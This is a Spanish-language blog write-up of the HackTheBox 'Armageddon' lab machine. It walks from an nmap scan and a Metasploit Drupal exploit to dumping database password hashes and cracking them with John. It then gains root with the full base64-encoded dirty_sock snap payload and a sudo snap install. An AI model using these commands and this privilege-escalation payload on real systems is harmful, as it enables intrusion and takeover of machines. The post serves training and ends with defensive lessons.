Home HackTheBox Armageddon
Post
Cancel

HackTheBox Armageddon


Machine IP : 10.10.10.233

DATE : 24/07/2021


Matriz de la maquina

Esta matriz nos muestra las características de explotación de la maquina.

Reconocimiento

Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(s4yhii㉿kali)-[~]
└─$ nmap -p22,80 -sC -sV -n 10.10.10.233 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 05:46 EDT
Nmap scan report for 10.10.10.233
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

Como podemos obervar tenemos 2 puertos abiertos, el 80 con el servicio http y el 22 ssh, como vemos cuenta con el archivo robots.txt y otros más interesantes, procederemos a inspeccionar en la web.

Como podemos ver, el servicio web esta corriendo en el framework drupal, revisando en mestasploit encontramos un exploit que nos permite obtener una shell

Luego de configurar los parametros del payload, obtenemos una shell en metasploit y ahora si podemos listar y ver los archivos del servidor web.

Luego de inspeccionar cada archivo, dentro del archivo settings.php encontramos estas credenciales.

Credenciales de la base de datos

1
2
3
4
5
6
7
8
9
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),

Como indica, son las credenciales de una base de datos, entonces vamos a enumerar las tablas que contiene esa base de datos y posteriormente lo interesante que surga de eso, usando el siguiente comando.

1
2
3
4
5
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'

mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select * from users;'

mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'

El resultado es el siguiente, encontramos un usuario y una contraseña hasheada del usuario brucetherealadmin.

1
2
3
4
5
brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
nishi   $S$DDiENuC75Il7Oc4El2weC1X.cDu5pjl6foNQtkIX.t63MwU6H7Ta
test    $S$DN3zVAhdweEONvPDq9qvZaElRWXaTEyaABfnm5ciyaGxuj0cjKYs
aaa     $S$DZ7r4xaW5fCslHhuZ0ICo/LljhMt575vdSkXFUJgbPwo3JDyzlKa
juan    $S$Dum5w6EtPuSuJsOpkOLqlyKGRn96vKgbXFW90NK4TnUH8tMsLWTC

Guardemos el hash en un archivo txt y usamos a nuestro amigo john para que nos salve.

1
2
3
john user\_hash.txt \--wordlist\=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8 Loaded 14 password hashes with 5 different salts (Drupal7, $S$ \[SHA512 256/256 AVX2 4x\]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 
booboo (?)

Obtenemos la contraseña booboo, con esto nos logeamos via ssh y accedemos al usuario brucetherealadmin y obtenemos el usert.txt.

Escalamiento de privilegios

Luego de usar el comando sudo -l.

1
2
[brucetherealadmin@armageddon ~\]$ sudo \-l Matching Defaults entries for brucetherealadmin on armageddon: !visiblepw, always\_set\_home, match\_group\_by\_gid, always\_query\_group\_plugin, env\_reset, env\_keep\="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS\_COLORS", env\_keep+\="MAIL PS1 PS2 QTDIR USERNAME LANG LC\_ADDRESS LC\_CTYPE", env\_keep+\="LC\_COLLATE LC\_IDENTIFICATION LC\_MEASUREMENT LC\_MESSAGES", env\_keep+\="LC\_MONETARY LC\_NAME LC\_NUMERIC LC\_PAPER LC\_TELEPHONE", env\_keep+\="LC\_TIME LC\_ALL LANGUAGE LINGUAS \_XKB\_CHARSET XAUTHORITY", secure\_path\=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin User brucetherealadmin may run the following commands on armageddon: (root) NOPASSWD: /usr/bin/snap install \*
C

Se puede usar el binario nap install, buscando en google algunas vulnerabilidades de dar permisos de root a estas dependencias, me encuentro con este Github donde está el exploit que nos indica su funcionalidad con el siguiente banner.

1
2
3
4
5
6
7
Simply run as is, no arguments, no requirements. If the exploit is successful,

the system will have a new user with sudo permissions as follows:

username: dirty\_sock

password: dirty\_sock

Significa que agregará el usuario dirty_sock con el mismo usuario y contraseña pero con permisos sudo, y esto podriamos utilizarlo para invocar una shell como root, guardamos el codigo del exploit con este comando.

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > privesc.snap

Luego de crear el paquete snap de instalacion, lo instalamos con el siguiente comando.

sudo /usr/bin/snap install --devmode privesc.snap

Luego revisames el archivo passwd con el comando cat /etc/passwd

Nos logeamos como dirty_sock , la contraseña por defecto es dirty_sock.

Luego de estar logeados, ingresamos el comando sudo bash para invocar una shell como root, y luego ya somos root.

Game over, obtenemos sesion como root y el root.txt.

Conclusiones

Fue una maquina agradable con debilidades que, por desgracia, siguen siendo muy comunes por ahí.

Algunas reflexiones y conclusiones de este pentest:

Mantener actualizadas las tecnologias usadas para la construcción de tu pagina web.

No exponer contraseñas ni usuarios en los archivos de configuración.

Almacene sus claves privadas en un repositorio protegido por una autenticación multifactorial. No las dejes “en línea” si no es necesario y no pienses que nadie las encontrará sólo porque crees que las escondiste bien.

Evita jugar con la configuración de sudo si no estás seguro de lo que haces y de cómo se puede abusar de ello. Echa un vistazo a GTFObins para empezar…

Gracias por leer, Happy hacking and always try harder!

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.

HackTheBox Shocker

HackTheBox Writeup